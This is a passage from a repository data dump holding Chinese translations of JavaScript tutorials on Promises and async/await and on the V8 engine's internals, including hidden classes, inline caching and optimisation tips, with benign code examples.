失败时\n    function(err) {\n    \tconsole.error( err ); // bummer!\n    }\n);\n```\n\n如果在获取 `x` 或者 `y` 的时候出错了，又或许是在进行加运算的时候失败了，`sum(...)` 返回的 promise 将会是已失败的状态，并且会将 promise 已失败的值传给 `then(...)` 的第二个回调处理。\n\n因为 Promises 封装了依赖时间的状态 — 等待内部的值已完成或是已失败 — 从外面看，Promise 是独立于时间的，因此 Promises 可以能通过一种可预测的方式组合起来，而不用去考虑底层的时间或者结果。\n\n而且，一旦 Promise 的状态确定了，那么他就永远也不会改变状态了 — 在这时它会变成一个 _不可改变的值_ — 然后就可以在有需要的时候多次 _观察_ 它。\n\n实际上链式的 promises 是非常有用的：\n\n```js\nfunction delay(time) {\n    return new Promise(function(resolve, reject){\n        setTimeout(resolve, time);\n    });\n}\n\ndelay(1000)\n.then(function(){\n    console.log(\"after 1000ms\");\n    return delay(2000);\n})\n.then(function(){\n    console.log(\"after another 2000ms\");\n})\n.then(function(){\n    console.log(\"step 4 (next Job)\");\n    return delay(5000);\n})\n// ...\n```\n\n调用 `delay(2000)` 会创建一个在 2000ms 完成的 promise，然后我们返回第一个 `then(...)` 的成功回调，这会导致第二个 `then(...)` 的 promise 要再等待 2000ms 执行。\n\n**注意**：因为 Promise 一旦完成了就不能再改变状态了，所以可以安全的传递到任何地方，因为它不会再被意外或是恶意的修改。这对于在多个地方监听 Promise 的解决方案来说，尤其正确。一方不可能影响到另一方所监听到的结果。不可变听起来像是一个学术性的话题，但是它是 Promise 设计中最基础、最重要方面，不应该被忽略。\n\n#### **用不用 Promise？**\n\n使用 Promises 最重要的一点在于能否确定一些值是否是真正的 Promise。换句话说，它的值像一个 Promise 吗？\n\n我们知道 Promises 是由 `new Promise(…)` 语句构造出来的，你可能会认为 `p instanceof Promise` 就能判断一个 Promise。其实，并不完全是。\n\n主要是因为另一个浏览器窗口(比如 iframe)获取一个 Promise 的值，它拥有自己的 Promise 类，且不同于当前或其他窗口，所以使用 instance 来区分 Promise 是不准确的。\n\n而且，一个框架或者库可以选择自己的 Promise，而不是使用 ES6 原生的 Promise 实现。事实上，你很可能会在不支持 Promise 的老式浏览器中使用第三方的 Promise 库。\n\n#### 吞噬异常\n\n如果在任何一个创建 Promise 或是对其结果观察的过程中，抛出了一个 JavaScript 异常错误，比如说 `TypeError` 或是 `ReferenceError`，那么这个异常会被捕获，然后它就会把 Promise 的状态变成已失败。\n\n例如：\n\n```js\nvar p = new Promise(function(resolve, reject){\n    foo.bar();\t  // 对不起，`foo` 没有定义\n    resolve(374); // 不会执行 :(\n});\n\np.then(\n    function fulfilled(){\n        // 不会执行 :(\n    },\n    function rejected(err){\n        // `err` 是 `foo.bar()` 那一行\n\t// 抛出的 `TypeError` 异常对象。\n    }\n);\n```\n\n如果一个 Promise 已经结束了，但是在监听结果(在 `then(…)` 里的回调函数)的时候发生了 JS 异常会怎么样呢？即使这个错误没有丢失，你可能也会对它的处理方式有点惊讶。除非你深入的挖掘一下：\n\n```\nvar p = new Promise( function(resolve,reject){\n\tresolve(374);\n});\n\np.then(function fulfilled(message){\n    foo.bar();\n    console.log(message);   // 不会执行\n},\n    function rejected(err){\n        // 不会执行\n    }\n);\n```\n\n这看起来就像 `foo.bar()` 的异常真的被吞了。当然了，异常并不是被吞了。这是更深层次的问题出现了，我们没有监听到异常。`p.then(…)` 调用它自己会返回另一个 promise，而这个 promise 会因为 `TypeError` 的异常变为已失败状态。\n\n#### **处理未捕获的异常**\n\n还有一些 _更好的_ 办法解决这个问题。\n\n最常见的就是给 Promise 加一个 `done(…)`，用来标志 Promise 链的结束。`done(…)` 不会创建或返回一个 Promise，所以传给 `done(..)` 的回调显然不会将问题报告给一个不存在的 Promise。\n\n在未捕获异常的情况下，这可能才是你期望的：在 `done(..)` 已失败的处理函数里的任何异常都会抛出一个全局的未捕获异常（通常是在开发者的控制台）。\n\n```js\nvar p = Promise.resolve(374);\n\np.then(function fulfilled(msg){\n    // 数字不会拥有字符串的方法，\n    // 所以会抛出一个错误\n    console.log(msg.toLowerCase());\n})\n.done(null, function() {\n    // 如果有异常发生，它就会被全局抛出 \n});\n```\n\n#### **ES8 发生了什么？ Async/await**\n\nJavaScript ES8 介绍了 `async/await`，使得我们能更简单的使用 Promises。我们将简单的介绍 `async/await` 会带给我们什么以及如何利用它们写出异步的代码。\n\n所以，来让我们看看 async/await 是如何工作的。\n\n使用 `async` 函数声明来定义一个异步函数。这样的函数返回一个 [AsyncFunction](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/AsyncFunction) 对象。`AsyncFunction` 对象表示执行包含在这个函数中的代码的异步函数。\n\n当一个 async 函数被调用，它返回一个 `Promise`。当 async 函数返回一个值，它不是一个 `Promise`，`Promise` 将会被自动创建，然后它使用函数的返回值来决定状态。当 `async` 抛出一个异常，`Promise` 使用抛出的值进入已失败状态。\n\n一个 `async` 函数可以包含一个 `await` 表达式，它会暂停执行这个函数然后等待传给它的 Promise 完成，然后恢复 async 函数的执行，并返回已成功的值。\n\n你可以把 JavaScript 的 `Promise` 看作是 Java 的 `Future` 或是 `C#` 的 Task。\n\n> `async/await` 的目的是简化使用 promises 的写法。\n\n让我们来看看下面的例子：\n\n```js\n\n// 一个标准的 JavaScript 函数\nfunction getNumber1() {\n    return Promise.resolve('374');\n}\n// 这个 function 做了和 getNumber1 同样的事\nasync function getNumber2() {\n    return 374;\n}\n```\n\n同样，抛出异常的函数等于返回已失败的 promises：\n\n```js\nfunction f1() {\n    return Promise.reject('Some error');\n}\nasync function f2() {\n    throw 'Some error';\n}\n```\n\n关键字 `await` 只能使用在 `async` 的函数中，并允许你同步等待一个 Promise。如果我们在 `async` 函数之外使用 promise，我们仍然要用 `then` 回调函数：\n\n```js\nasync function loadData() {\n    // `rp` 是一个请求异步函数\n    var promise1 = rp('https://api.example.com/endpoint1');\n    var promise2 = rp('https://api.example.com/endpoint2');\n   \n    // 现在，两个请求都被触发, \n    // 我们就等待它们完成。\n    var response1 = await promise1;\n    var response2 = await promise2;\n    return response1 + ' ' + response2;\n}\n// 但，如果我们没有在 `async function` 里\n// 我们就必须使用 `then`。\nloadData().then(() => console.log('Done'));\n```\n\n你还可以使用 async 函数表达式的方法创建一个 async 函数。async 函数表达式的写法和 async 函数声明差不多。函数表达式和函数声明最主要的区别就是函数名，它可以在 async 函数表达式中省略来创建一个匿名函数。一个 async 函数表达式可以作为一个 IIFE（立即执行函数） 来使用，当它被定义好的时候就会执行。\n\n它看起来是这样的：\n\n```js\nvar loadData = async function() {\n    // `rp` 是一个请求异步函数\n    var promise1 = rp('https://api.example.com/endpoint1');\n    var promise2 = rp('https://api.example.com/endpoint2');\n   \n    // 现在，两个请求都被触发, \n    // 我们就等待它们完成。\n    var response1 = await promise1;\n    var response2 = await promise2;\n    return response1 + ' ' + response2;\n}\n```\n\n更重要的是，所有主流浏览器都支持 async/await：\n\n![](https://cdn-images-1.medium.com/max/800/0*z-A-JIe5OWFtgyd2.)\n\n如果这个兼容情况不是你想要的，那么也可以使用一些 JS 转换器，像 [Babel](https://babeljs.io/docs/plugins/transform-async-to-generator/) 和 [TypeScript](https://www.typescriptlang.org/docs/handbook/release-notes/typescript-2-3.html)。\n\n最后，最重要的是不要盲目的选择“最新”的方法去写异步代码。更重要的是理解异步 JavaScript 内部的原理，知道为什么它为什么如此重要以及去理解你选择的方法的内部原理。在程序中每种方法都是有利有弊的。\n\n### 5 个编写可维护的、健壮的异步代码的技巧\n\n1.  **干净的代码:** 使用 async/await 能够让你少写代码。每一次你使用 async/await 你都能跳过一些不必要的步骤：写一个 .then，创建一个匿名函数来处理响应，在回调中命名响应，比如：\n\n```js\n// `rp` 是一个请求异步函数\nrp(‘https://api.example.com/endpoint1').then(function(data) {\n // …\n});\n```\n\n对比:\n\n```js\n// `rp` 是一个请求异步函数\nvar response = await rp(‘https://api.example.com/endpoint1');\n```\n\n2. **错误处理:** Async/await 使得我们可以使用相同的代码结构处理同步或者异步的错误 —— 著名的 try/catch 语句。让我们看看用 Promises 是怎么实现的：\n\n```js\nfunction loadData() {\n    try { // Catches synchronous errors.\n        getJSON().then(function(response) {\n            var parsed = JSON.parse(response);\n            console.log(parsed);\n        }).catch(function(e) { // Catches asynchronous errors\n            console.log(e); \n        });\n    } catch(e) {\n        console.log(e);\n    }\n}\n```\n\n对比：\n\n```js\nasync function loadData() {\n    try {\n        var data = JSON.parse(await getJSON());\n        console.log(data);\n    } catch(e) {\n        console.log(e);\n    }\n}\n```\n\n3. **条件语句:** 使用 `async/await` 来写条件语句要简单得多：\n\n```js\nfunction loadData() {\n  return getJSON()\n    .then(function(response) {\n      if (response.needsAnotherRequest) {\n        return makeAnotherRequest(response)\n          .then(function(anotherResponse) {\n            console.log(anotherResponse)\n            return anotherResponse\n          })\n      } else {\n        console.log(response)\n        return response\n      }\n    })\n}\n```\n\n对比：\n\n```js\nasync function loadData() {\n  var response = await getJSON();\n  if (response.needsAnotherRequest) {\n    var anotherResponse = await makeAnotherRequest(response);\n    console.log(anotherResponse)\n    return anotherResponse\n  } else {\n    console.log(response);\n    return response;    \n  }\n}\n```\n\n4. **栈帧:** 和 `async/await` 不同的是，根据promise链返回的错误堆栈信息，并不能发现哪出错了。来看看下面的代码：\n\n```js\nfunction loadData() {\n  return callAPromise()\n    .then(callback1)\n    .then(callback2)\n    .then(callback3)\n    .then(() => {\n      throw new Error(\"boom\");\n    })\n}\nloadData()\n  .catch(function(e) {\n    console.log(err);\n// Error: boom at callAPromise.then.then.then.then (index.js:8:13)\n});\n```\n\n对比：\n\n```js\nasync function loadData() {\n  await callAPromise1()\n  await callAPromise2()\n  await callAPromise3()\n  await callAPromise4()\n  await callAPromise5()\n  throw new Error(\"boom\");\n}\nloadData()\n  .catch(function(e) {\n    console.log(err);\n    // 输出\n    // Error: boom at loadData (index.js:7:9)\n});\n```\n\n5. **调试:** 如果你使用了 promises，你就会知道调试它们将会是一场噩梦。比如，你在 .then 里面打了一个断点，并且使用类似 “stop-over” 这样的 debug 快捷方式，调试器不会移动到下一个 .then，因为它只会对同步代码生效。而通过 `async/await` 你就可以逐步的调试 await 调用了，它就像是一个同步函数一样。\n\n编写 **异步 JavaScript 代码** 不仅对于应用程序本身并且对于库也很重要。\n\n比如，[SessionStack](https://www.sessionstack.com/?utm_source=medium&utm_medium=blog&utm_content=Post-4-eventloop-outro) 记录 Web 应用、网站中的所有内容：包括所有 DOM 的改变，用户交互，JavaScript 异常，栈追踪，网络请求失败和 debug 信息。\n\n这一切都发生在你的生产环境中而不会影响你的用户体验。我们需要对我们的代码进行大量的优化，使其尽可能的异步，这样我们就能增加被事件循环处理的事件。\n\n而且这不仅是个库！当你在 SessionStack 要恢复一个用户的会话时，我们必须重现所有在用户的浏览器上出现的问题，我们必须重现整个状态，允许你在会话的事件轴上来回跳转。为了做到这一点，我们大量地使用了JavaScript 提供的异步操作。\n\n我们有一个免费的计划可以让你[免费开始](https://www.sessionstack.com/?utm_source=medium&utm_medium=blog&utm_content=Post-4-eventloop-GetStarted)。\n\n![](https://cdn-images-1.medium.com/max/800/0*xSEaWHGqqlcF8g5H.)\n\n更多资源：\n* [https://github.com/getify/You-Dont-Know-JS/blob/master/async%20%26%20performance/ch2.md](https://github.com/getify/You-Dont-Know-JS/blob/master/async%20%26%20performance/ch2.md)\n*   [https://github.com/getify/You-Dont-Know-JS/blob/master/async%20%26%20performance/ch3.md](https://github.com/getify/You-Dont-Know-JS/blob/master/async%20%26%20performance/ch3.md)\n* [http://nikgrozev.com/2017/10/01/async-await/](http://nikgrozev.com/2017/10/01/async-await/)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/how-javascript-works-inside-the-v8-engine-5-tips-on-how-to-write-optimized-code.md",
    "content": "> * 原文地址：[How JavaScript works: inside the V8 engine + 5 tips on how to write optimized code](https://blog.sessionstack.com/how-javascript-works-inside-the-v8-engine-5-tips-on-how-to-write-optimized-code-ac089e62b12e)\n> * 原文作者：[Alexander Zlatkov](https://blog.sessionstack.com/@zlatkov?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/how-javascript-works-inside-the-v8-engine-5-tips-on-how-to-write-optimized-code.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-javascript-works-inside-the-v8-engine-5-tips-on-how-to-write-optimized-code.md)\n> * 译者：[春雪](https://github.com/balancelove)\n> * 校对者：[PCAaron](https://github.com/PCAaron) [Raoul1996](https://github.com/Raoul1996)\n\n# JavaScript 是如何工作的：在 V8 引擎里 5 个优化代码的技巧\n\n几个星期前我们开始了一个旨在深入挖掘 JavaScript 以及它是如何工作的系列文章。我们通过了解它的底层构建以及它是怎么发挥作用的，可以帮助我们写出更好的代码与应用。\n\n[第一篇文章](https://blog.sessionstack.com/how-does-javascript-actually-work-part-1-b0bacc073cf) 主要关注引擎、运行时以及调用栈的概述。第二篇文章将会深入到 Google 的 JavaScript V8 引擎的内部。 我们还提供了一些关于如何编写更好的 JavaScript 代码的快速技巧 —— 我们 [SessionStack](https://www.sessionstack.com/) 开发团队在开发产品的时候遵循的最佳实践。\n\n#### 概述\n\n**JavaScript 引擎** 是执行 JavaScript 代码的程序或者说是解释器。JavaScript 引擎能够被实现成标准解释器或者是能够将 JavaScript 以某种方式编译为字节码的即时编译器。\n\n下面是一些比较火的实现 JavaScript 引擎的项目：\n\n* [**V8**](https://en.wikipedia.org/wiki/V8_%28JavaScript_engine%29 \"V8 (JavaScript engine)\") — 由 Google 开发，使用 C++ 编写的开源引擎\n* [**Rhino**](https://en.wikipedia.org/wiki/Rhino_%28JavaScript_engine%29 \"Rhino (JavaScript engine)\") — 由 Mozilla 基金会管理，完全使用 Java 开发的开源引擎\n* [**SpiderMonkey**](https://en.wikipedia.org/wiki/SpiderMonkey_%28JavaScript_engine%29 \"SpiderMonkey (JavaScript engine)\") — 第一个 JavaScript 引擎，在当时支持了 Netscape Navigator，现在是 Firefox 的引擎\n* [**JavaScriptCore**](https://en.wikipedia.org/wiki/JavaScriptCore \"JavaScriptCore\") — 由苹果公司为 Safari 浏览器开发，并以 Nitro 的名字推广的开源引擎。\n* [**KJS**](https://en.wikipedia.org/wiki/KJS_%28KDE%29 \"KJS (KDE)\") — KDE 的引擎，最初是由 Harri Porten 为 KDE 项目的 Konqueror 网络浏览器开发\n* [**Chakra** (JScript9)](https://en.wikipedia.org/wiki/Chakra_%28JScript_engine%29 \"Chakra (JScript engine)\") — IE 引擎\n* [**Chakra** (JavaScript)](https://en.wikipedia.org/wiki/Chakra_%28JavaScript_engine%29 \"Chakra (JavaScript engine)\") — 微软 Edge 的引擎\n* [**Nashorn**](https://en.wikipedia.org/wiki/Nashorn_%28JavaScript_engine%29 \"Nashorn (JavaScript engine)\") — 开源引擎，由 Oracle 的 Java 语言工具组开发，是 OpenJDK 的一部分\n* [**JerryScript**](https://en.wikipedia.org/wiki/JerryScript \"JerryScript\") — 这是物联网的一个轻量级引擎\n\n#### 为什么要创建 V8 引擎？\n\nV8 引擎是由 Google 用 **C++** 开发的开源引擎，这个引擎也在 Google chrome 中使用。和其他的引擎不同的是，V8 引擎也用于运行 Node.js。\n\n![](https://cdn-images-1.medium.com/max/800/1*AKKvE3QmN_ZQmEzSj16oXg.png)\n\nV8 最初被设计出来是为了提高浏览器内部 JavaScript 的执行性能。为了获取更快的速度，V8 将 JavaScript 代码编译成了更加高效的机器码，而不是使用解释器。它就像 SpiderMonkey 或者 Rhino (Mozilla) 等许多现代JavaScript 引擎一样，通过运用即时编译器将 JavaScript 代码编译为机器码。而这之中最主要的区别就是 V8 不生成字节码或者任何中间代码。\n\n#### V8 曾经有两个编译器\n\n在 V8 的 v5.9 版本出来之前（今年早些时候发布的）有两个编译器：\n\n*   full-codegen — 一个简单并且速度非常快的编译器，可以生成简单但相对比较慢的机器码。\n*   Crankshaft — 一个更加复杂的 (即时) 优化编译器，生成高度优化的代码。\n\nV8 引擎在内部也使用了多个线程：\n\n*   主线程完成你所期望的任务：获取你的代码，然后编译执行\n*   还有一个单独的线程用于编译，以便主线程可以继续执行，而前者就能够优化代码\n*   一个 `Profiler` (分析器) 线程，它会告诉运行时在哪些方法上我们花了很多的时间，以便 `Crankshaft` 可以去优化它们\n*   还有一些线程处理垃圾回收扫描\n\n当第一次执行 JavaScript 代码的时候，V8 利用 **full-codegen** 直接将解析的 JavaScript 代码不经过任何转换翻译成机器码。这使得它可以 **非常快速** 的开始执行机器码，请注意，V8 不使用任何中间字节码表示，从而不需要解释器。\n\n当你的代码已经运行了一段时间了，分析器线程已经收集了足够的数据来告诉运行时哪个方法应该被优化。\n\n然后， **Crankshaft** 在另一个线程开始优化。它将 JavaScript 抽象语法树转换成一个叫 **Hydrogen** 的高级静态单元分配表示(SSA)，并且尝试去优化这个 Hydrogen 图。大多数优化都是在这个级完成。\n\n#### 代码嵌入 (Inlining)\n\n首次优化就是尽可能的提前嵌入更多的代码。代码嵌入就是将使用函数的地方(调用函数的那一行)替换成调用函数的本体。这简单的一步就会使接下来的优化更加有用。\n\n![](https://cdn-images-1.medium.com/max/800/0*RRgTDdRfLGEhuR7U.png)\n\n#### 隐藏类 (Hidden class)\n\nJavaScript 是一门基于原型的语言: 没有类和对象是通过克隆来创建的。同时 JavaScript 也是一门动态语言，这意味着在实例化之后也能够方便的从对象中添加或者删除属性。\n\n大多数 JavaScript 解释器使用类似字典的结构 (基于[散列函数](http://en.wikipedia.org/wiki/Hash_function)) 去存储对象属性值在内存中的位置。这种结构使得在 JavaScript 中检索一个属性值比在像 Java 或者 C# 这种非动态语言中计算量大得多。在 Java 中, 编译之前所有的属性值以一种固定的对象布局确定下来了，并且在运行时不能动态的增加或者删除 (当然，C# 也有 [动态类型](https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/dynamic)，但这是另外一个话题了)。因此，属性值 (或者说指向这些属性的指针) 能够以连续的 buffer 存储在内存中，并且每个值之间有一个固定的偏移量。根据属性类型可以很容易地确定偏移量的长度，而在 JavaScript 中这是不可能的，因为属性类型可以在运行时更改。\n\n由于采用字典的方式去内存中查找对象属性的位置效率很低，因此 V8 就采用了一种不一样的方法：**隐藏类**。隐藏类与 Java 等语言中使用的固定对象布局（类）的工作方式很类似，除了它们是在运行时创建的。现在，来让我们看看它们实际的样子：\n\n```js\nfunction Point(x, y) {\n    this.x = x;\n    this.y = y;\n}\nvar p1 = new Point(1, 2);\n```\n\n一旦 “new Point(1, 2)” 被调用,V8 将会创建一个叫 “C0” 的隐藏类。\n\n![](https://cdn-images-1.medium.com/max/800/1*pVnIrMZiB9iAz5sW28AixA.png)\n\n运行到这里，Point 还没有定义任何的属性，所以 “C0” 是空的。\n\n当第一条语句 “this.x = x” 开始执行 (在 “Point” 函数中), V8 将会基于 “C0” 创建第二个隐藏类叫做 “C1”。“C1” 描述了属性值 x 在内存中的位置(相对于对象指针)。在这个例子中, “x” 被存在 [偏移值](http://en.wikipedia.org/wiki/Offset_%28computer_science%29) 为 0 的地方, 这意味着当在内存中把 point 对象视为一段连续的 buffer 时，它的第一个偏移量对应的属性就是 “x”。V8 也会使用类转换更新 “C0”，如果一个属性 “x” 被添加到这个 point 对象中，隐藏类就会从 “C0” 切换到 “C1”。那么，现在这个point 对象的隐藏类就是 “C1” 了。\n\n![](https://cdn-images-1.medium.com/max/800/1*QsVUE3snZD9abYXccg6Sgw.png)\n\n每当一个新属性添加到对象，老的隐藏类就会通过一个转换路径更新成一个新的隐藏类。隐藏类转换非常重要，因为它们允许以相同方法创建的对象共享隐藏类。如果两个对象共享一个隐藏类，并给它们添加相同的属性，隐藏类转换能够确保这两个对象都获得新的隐藏类以及与之相关联的优化代码。\n\n当执行语句 “this.y = y” (同样，在 Point 函数内部，“this.x = x” 语句之后) 时，将重复此过程。\n\n一个新的隐藏类 “C2” 被创建了，如果属性 “y” 被添加到 Point 对象(已经包含了 “x” 属性)，同样的过程，类型转换被添加到 “C1” 上，然后隐藏类开始更新成 “C2”，并且 Point 对象的隐藏类就要更新成 “C2” 了。\n\n![](https://cdn-images-1.medium.com/max/800/1*spJ8v7GWivxZZzTAzqVPtA.png)\n\n隐藏类转换是根据属性被添加到对象上的顺序而发生变化。我们看看下面这一小段代码：\n\n```js\nfunction Point(x, y) {\n    this.x = x;\n    this.y = y;\n}\nvar p1 = new Point(1, 2);\np1.a = 5;\np1.b = 6;\nvar p2 = new Point(3, 4);\np2.b = 7;\np2.a = 8;\n```\n\n现在，你可能会想 p1 和 p2 使用了相同的隐藏类和类转换。其实不然，对于 p1 来说，属性 “a” 被第一个添加，然后是属性 “b”。而对于 p2 来说，首先分配 “b”，然后才是 “a”。因此，p1 和 p2 会以不同的类转换路径结束，隐藏类也不同。其实，在这两个例子中我们可以看到，最好的方式是使用相同的顺序初始化动态属性，这样的话隐藏类就能够复用了。\n\n#### 内联缓存 (Inline caching)\n\nV8 还利用另一种叫内联缓存的技术来优化动态类型语言。内联缓存依赖于我们观察到：同一个方法的重复调用是发生在相同类型的对象上的。关于内联缓存更深层次的解读请看[这里](https://github.com/sq/JSIL/wiki/Optimizing-dynamic-JavaScript-with-inline-caches)。\n\n我们来大致了解一下内联缓存的基本概念 (如果你没有时间去阅读上面的深层次的解读)。\n\n那么它是如何工作的呢？V8 维护了一个对象类型的缓存，存储的是在最近的方法调用中作为参数传递的对象类型，然后 V8 会使用这些信息去预测将来什么类型的对象会再次作为参数进行传递。如果 V8 对传递给方法的对象的类型做出了很好的预测，那么它就能够绕开获取对象属性的计算过程，取而代之的是使用先前查找这个对象的隐藏类时所存储的信息。\n\n那么隐藏类和内联缓存的概念是怎么联系在一起的呢？无论什么时候当一个特定的对象上的方法被调用时，V8 引擎都会查找这个对象的隐藏类以便确定获取特定属性的偏移值。当对于同一个隐藏类两次成功的调用了同一个方法时，V8 就会略过查找隐藏类，将这个属性的偏移值添加到对象本身的指针上。对于未来这个方法的所有调用，V8 引擎都会假设隐藏类没有改变，而是直接跳到特定属性在内存中的位置，这是通过之前查找时存储的偏移值做到的。这极大的提高了 V8 的执行速度。\n\n同时，内联缓存也是同类型对象共享隐藏类如此重要的原因。如果我们使用不同的隐藏类创建了两个同类型的对象(就如同我们前面做的那样)，V8 就不能使用内联缓存，因为即使两个对象是相同的，但是它们对应的隐藏类对它们的属性分配了不同的偏移值。\n\n![](https://cdn-images-1.medium.com/max/800/1*iHfI6MQ-YKQvWvo51J-P0w.png)\n\n这两个对象基本相同，但是属性 “a” 和 “b” 是以不同的顺序创建的\n\n#### 编译成机器代码\n\n一旦 Hydrogen 图被优化，Crankshaft 就会把这个图降低到一个比较低层次的表现形式 —— 叫做 Lithium。大多数 Lithium 实现都是面向特定的结构的。寄存器分配就发生在这一层次。\n\n最后，Lithium 被编译成机器码。然后，OSR就开始了：一种运行时替换正在运行的栈帧的技术(on-stack replacement)。在我们开始编译和优化一个明显耗时的方法时，我们可能会运行它。V8 不会把它之前运行的慢的代码抛在一旁，然后再去执行优化后的代码。相反，V8 会转换这些代码的上下文(栈， 寄存器)，以便在执行这些慢代码的途中转换到优化后的版本。这是一个非常复杂的任务，要知道 V8 已经在其他的优化中将代码嵌入了。当然了，V8 不是唯一能做到这一点的引擎。\n\nV8 还有一种保护措施叫做反优化，能够做相反的转换，将代码逆转成没有优化过的代码以防止引擎做的猜测不再正确。\n\n#### 垃圾回收\n\n对于垃圾回收，V8 使用一种传统的分代式标记清除的方式去清除老生代的数据。标记阶段会阻止 JavaScript 的运行。为了控制垃圾回收的成本，并且使 JavaScript 的执行更加稳定，V8 使用增量标记：与遍历全部堆去标记每一个可能的对象的不同，取而代之的是它只遍历部分堆，然后就恢复正常执行。下一次垃圾回收就会从上一次遍历停下来的地方开始，这就使得每一次正常执行之间的停顿都非常短。就像前面说的，清理的操作是由独立的线程的进行的。\n\n#### Ignition 和 TurboFan\n\n随着 2017 年早些时候 V8 5.9 版本的发布，一个新的执行管线被引入。这个新的执行管线在 **实际的** JavaScript 应用中实现了更大的性能提升、显著的节省了内存的使用。\n\n这个新的执行管线构建在 V8 的解释器 [Ignition](https://github.com/v8/v8/wiki/Interpreter) 和 最新的优化编译器 [TurboFan](https://github.com/v8/v8/wiki/TurboFan) 之上。\n\n你可以在[这里](https://v8project.blogspot.bg/2017/05/launching-ignition-and-turbofan.html)查看 V8 团队有关这个主题的所有博文。\n\n自从 V8 的 5.9 版本发布提来，V8 团队一直努力的跟上 JavaScript 的语言特性以及对这些特性的优化保持一致，而 full-codegen 和 Crankshaft (这两项技术从 2010 年就开始为 V8 服务) 不再被 V8 使用来运行 JavaScript。\n\n这将意味着整个 V8 将拥有更简单、更易维护的架构。\n\n![](https://cdn-images-1.medium.com/max/800/0*pohqKvj9psTPRlOv.png)\n\n在 web 和 Node.js 上的改进\n\n当然这些改进仅仅是个开始。全新的 Ignition 和 TurboFan 管线为进一步的优化铺平了道路，这将在未来几年提高 JavaScript 性能以及使得 V8 在 chrome 和 Node.js 中节省更多的资源。\n\n最后，这里提供一些小技巧去帮助大家写出优化更好、更棒的 JavaScript。从上文中你一定能总结出这些技巧，不过我依然总结了一下提供给你们：\n\n#### 如何写出优化的 JavaScript\n\n1.  **对象属性的顺序**: 在实例化你的对象属性的时候一定要使用相同的顺序，这样隐藏类和随后的优化代码才能共享。\n2.  **动态属性**: 在对象实例化之后再添加属性会强制使得隐藏类变化，并且会减慢为旧隐藏类所优化的代码的执行。所以，要在对象的构造函数中完成所有属性的分配。\n3.  **方法**: 重复执行相同的方法会运行的比不同的方法只执行一次要快 (因为内联缓存)。\n4.  **数组**: 避免使用 keys 不是递增的数字的稀疏数组，这种不是每一个元素在里面的稀疏数组其实是一个 **hash 表**。在这种数组中每一个元素的获取都是昂贵的代价。同时，要避免提前申请大数组。最好的做法是随着你的需要慢慢的增大数组。最后，不要删除数组中的元素，因为这会使得 keys 变得稀疏。\n5.  **标记值 (Tagged values)**: V8 用 32 位来表示对象和数字。它使用一位来区分它是对象 (flag = 1) 还是一个整型 (flag = 0)，也被叫做小整型(SMI)，因为它只有 31 位。然后，如果一个数值大于 31 位，V8 将会对其进行 box 操作，然后将其转换成 double 型，并且创建一个新的对象来装这个数。所以，为了避免代价很高的 box 操作，尽量使用 31 位的有符号数。\n\n我们在 SessionStack 会尝试去遵循这些最佳实践去写出高质量、优化的代码。原因是一旦你将 SessionStack 集成到你的 web 应用中，它就会开始记录所有东西：包括所有 DOM 的改变，用户交互，JavaScript 异常，栈追踪，网络请求失败和 debug 信息。有了 SessionStack 你就能够把你 web 应用中的问题当成视频，你可以看回放来确定你的用户发生了什么。而这一切都不会影响到你的 web 应用的正常运行。\n这儿有个免费的计划可以让你 [开始](https://www.sessionstack.com/signup/)。\n\n![](https://cdn-images-1.medium.com/max/800/1*kEQmoMuNBDfZKNSBh0tvRA.png)\n\n#### 更多资源\n\n* [https://docs.google.com/document/u/1/d/1hOaE7vbwdLLXWj3C8hTnnkpE0qSa2P--dtDvwXXEeD0/pub](https://docs.google.com/document/u/1/d/1hOaE7vbwdLLXWj3C8hTnnkpE0qSa2P--dtDvwXXEeD0/pub)\n* [https://github.com/thlorenz/v8-perf](https://github.com/thlorenz/v8-perf)\n* [http://code.google.com/p/v8/wiki/UsingGit](http://code.google.com/p/v8/wiki/UsingGit)\n* [http://mrale.ph/v8/resources.html](http://mrale.ph/v8/resources.html)\n* [https://www.youtube.com/watch?v=UJPdhx5zTaw](https://www.youtube.com/watch?v=UJPdhx5zTaw)\n* [https://www.youtube.com/watch?v=hWhMKalEicY](https://www.youtube.com/watch?v=hWhMKalEicY)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/how-javascript-works-memory-management-how-to-handle-4-common-memory-leaks.md",
